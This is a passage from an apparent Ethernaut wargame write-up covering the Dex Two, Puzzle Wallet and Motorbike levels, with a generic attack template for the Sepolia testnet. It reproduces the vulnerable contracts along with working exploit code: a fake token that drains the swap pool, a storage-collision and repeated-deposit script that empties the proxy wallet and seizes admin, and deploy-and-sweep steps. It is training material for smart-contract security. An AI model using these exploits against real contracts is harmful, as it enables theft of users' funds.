IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint256 amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}

contract SwappableTokenTwo is ERC20 {
address private _dex;

constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

The attack contract is written as follows

Here is a self-developed minting process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Attack {
string public name = "EvilToken";
string public symbol = "EVIL";
uint8 public constant decimals = 18;
uint256 public totalSupply;

mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);

constructor() {
uint256 amt = 1_000_000 ether;
totalSupply = amt;
balanceOf[msg.sender] = amt;
emit Transfer(address(0), msg.sender, amt);
}

function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}

function transfer(address to, uint256 amount) external returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}

function transferFrom(address from, address to, uint256 amount) external returns (bool) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= amount, "ALLOWANCE");
unchecked { allowance[from][msg.sender] = allowed - amount; }
}
_transfer(from, to, amount);
return true;
}

function _transfer(address from, address to, uint256 amount) internal {
require(to != address(0), "ZERO_TO");
uint256 bal = balanceOf[from];
require(bal >= amount, "BAL");
unchecked { balanceOf[from] = bal - amount; }
balanceOf[to] += amount;
emit Transfer(from, to, amount);
}
}

The process of calling the function in the console is as follows: first approve the authorization, then extract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//  Withdraw token1/token2
const token1 = await contract.token1();
const token2 = await contract.token2();

const provider = new _ethers.providers.Web3Provider(window.ethereum);
await provider.send("eth_requestAccounts", []);
const signer = provider.getSigner();

const evil = new _ethers.Contract(
evilAddr,
[
"function approve(address,uint256) returns (bool)",
"function transfer(address,uint256) returns (bool)",
"function balanceOf(address) view returns (uint256)"
],
signer
);

// Authorize DexTwo to spend your EVIL (very important!)
await evil.approve(instance, _ethers.constants.MaxUint256);

// Transfer 1 EVIL to DexTwo first, to establish the denominator = 1
await evil.transfer(instance, 1);

let rFrom = await evil.balanceOf(instance); // Read the EVIL currently held by Dex (should be 1)
await contract.swap(evilAddr, token1, rFrom); // amount=1, take all token1 at once

rFrom = await evil.balanceOf(instance); // Reread! This should be 2
await contract.swap(evilAddr, token2, rFrom); // amount=2,take all token2 at once

// check it out (both sides should be "0")
(await contract.balanceOf(token1, instance)).toString();
(await contract.balanceOf(token2, instance)).toString();

The above is a process of swap

Puzzle Wallet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;

constructor(address _admin, address _implementation, bytes memory _initData)
UpgradeableProxy(_implementation, _initData)
{
admin = _admin;
}

modifier onlyAdmin() {
require(msg.sender == admin, "Caller is not the admin");
_;
}

function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}

function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}

function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}

contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;

function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}

modifier onlyWhitelisted() {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}

function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success,) = to.call{value: value}(data);
require(success, "Execution failed");
}

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}

The core of the vulnerability here is that delegatecall inherits the msg.value at the moment of the call. No matter how many times it is called, the actual balance of the proxy contract will not change. However, if you use delegatecall to call deposit multiple times, a false accounting vulnerability will occur.

At the same time, since the proxy contract calls delegatecall, the storage slot of the proxy contract is used. The owner and maxBalance of PuzzleWallet are written to the pendingAdmin and admin positions of the proxy.

Using this, we can whitelist the attacker’s address and then proceed with the attack described in step 1.

The attack flow is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

const instance = "0xProxyAddress";
const player = "0xYourEOA";

const proxyAbi = [
"function proposeNewAdmin(address _newAdmin) external",
"function admin() public view returns (address)"
];
const walletAbi = [
"function addToWhitelist(address) external",
"function deposit() external payable",
"function multicall(bytes[] calldata) external payable",
"function execute(address to, uint256 value, bytes calldata data) external payable",
"function setMaxBalance(uint256) external",
"function balances(address) external view returns (uint256)"
];

const proxy = new web3.eth.Contract(proxyAbi, instance);
const wallet = new web3.eth.Contract(walletAbi, instance);

// Use Proxy to write slot0 → Let the owner from the Wallet perspective = player
await proxy.methods.proposeNewAdmin(player).send({from: player});

// Now use Wallet ABI to adjust Proxy and add whitelist to yourself
await wallet.methods.addToWhitelist(player).send({from: player});

// Construct a "nested multicall" to record the same msg.value N times (in this example, N=3)
const dep = wallet.methods.deposit().encodeABI();
function buildNestedMulticall(N) {
if (N <= 1) return [dep];
let inner = [dep];
for (let i = 2; i <= N; i++) {
inner = [dep, wallet.methods.multicall(inner).encodeABI()];
}
return inner;
}
const dataN = buildNestedMulticall(3); // Just change the number: repeat the account N times

// Only transfer 0.001 ETH once, but increase balances[player] N times
await wallet.methods.multicall(dataN).send({
from: player,
value: web3.utils.toWei("0.001", "ether")
});

(await wallet.methods.balances(player).call()).toString();

// Withdraw all of the Proxy's real ETH balance (must be cleared to 0 before settingMaxBalance)
const bal = await web3.eth.getBalance(instance);
if (bal !== "0") {
await wallet.methods.execute(player, bal, "0x").send({from: player});
}

await web3.eth.getBalance(instance); // should return "0"

// Write slot1 → Set admin to yourself (write the address as uint256, the lower 160 bits are your address)
await wallet.methods.setMaxBalance(web3.utils.toBN(player)).send({from: player});

await proxy.methods.admin().call(); // should be player

Motorbike

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

struct AddressSlot {
address value;
}

// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));
require(success, "Call failed");
}

// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback() external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}

contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

address public upgrader;
uint256 public horsePower;

struct AddressSlot {
address value;
}

function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}

// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}

// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}

// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(address newImplementation, bytes memory data) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}

// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}

As mentioned earlier, when contract A calls contract B via delegatecall, the data is written to contract A’s storage slot.

So the problem here is that the Engine contract hasn’t been fully initialized. Its upgrader and horsePower are both at their default values.

So here we can manually call the initialize function of Engine to set the upgrader to ourselves, then call the upgradeToAndCall function and use delegatecall to trigger selfdestruct(). There is a problem here:

EIP-6780 changed the semantics of SELFDESTRUCT:

Unless the contract is created and self-destructed in the same transaction, selfdestruct will no longer clear the bytecode/storage, but will only transfer the balance.

Therefore, we can only destroy it when initializing the engine (make sure it’s in the same transaction).

check this https://github.com/Ching367436/ethernaut-motorbike-solution-after-decun-upgrade/

DoubleEntryPoint

Waiting for update

Attack Template

deploy on sepolia testnet

1
forge create Attack --rpc-url https://sepolia.infura.io/v3/xx --private-key 0xxx --broadcast -vvv
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// Get the provider injected by Metamask
const provider = new _ethers.BrowserProvider(window.ethereum);
// v5 is called Web3Provider, v6 is called BrowserProvider
//const provider = new _ethers.providers.Web3Provider(window.ethereum);
const signer = await provider.getSigner();

// ABI of attack contract
const attack = new _ethers.Contract(
"0xYourAttackContractAddress",
[
"function exploit() payable",
"function sweep(address to) external"
],
signer
);

// attack
await attack.exploit({
value: _ethers.utils.parseEther("0.0005")
});
// await solver.pwn(engine, { gasLimit: 1_000_000 });

await attack.sweep(await signer.getAddress());